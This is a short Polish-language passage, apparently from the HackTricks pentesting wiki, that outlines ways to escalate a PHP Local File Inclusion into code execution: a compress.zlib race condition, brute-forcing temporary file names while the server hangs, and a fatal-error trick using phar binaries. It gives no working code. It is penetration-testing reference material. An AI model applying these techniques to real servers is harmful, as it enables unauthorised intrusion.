LFI2RCE via phpinfo()

Przez compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Jeśli znalazłeś Local File Inclusion i możesz exfiltrate the path pliku tymczasowego, ALE serwer sprawdza, czy plik do włączenia ma znaczniki PHP, możesz spróbować bypass that check za pomocą tej Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Przez eternal waiting + bruteforce

Jeśli możesz wykorzystać LFI do upload temporary files i sprawić, że serwer hang wykonanie PHP, możesz wtedy brute force filenames during hours, aby znaleźć plik tymczasowy:

LFI2RCE via Eternal waiting

Do Fatal Error

Jeśli włączysz któryś z plików /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Musisz włączyć ten sam plik 2 razy, żeby wywołać ten błąd).

Nie wiem, jak to może być przydatne, ale może być.
Nawet jeśli spowodujesz PHP Fatal Error, PHP temporary files uploaded są usuwane.

Referencje

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks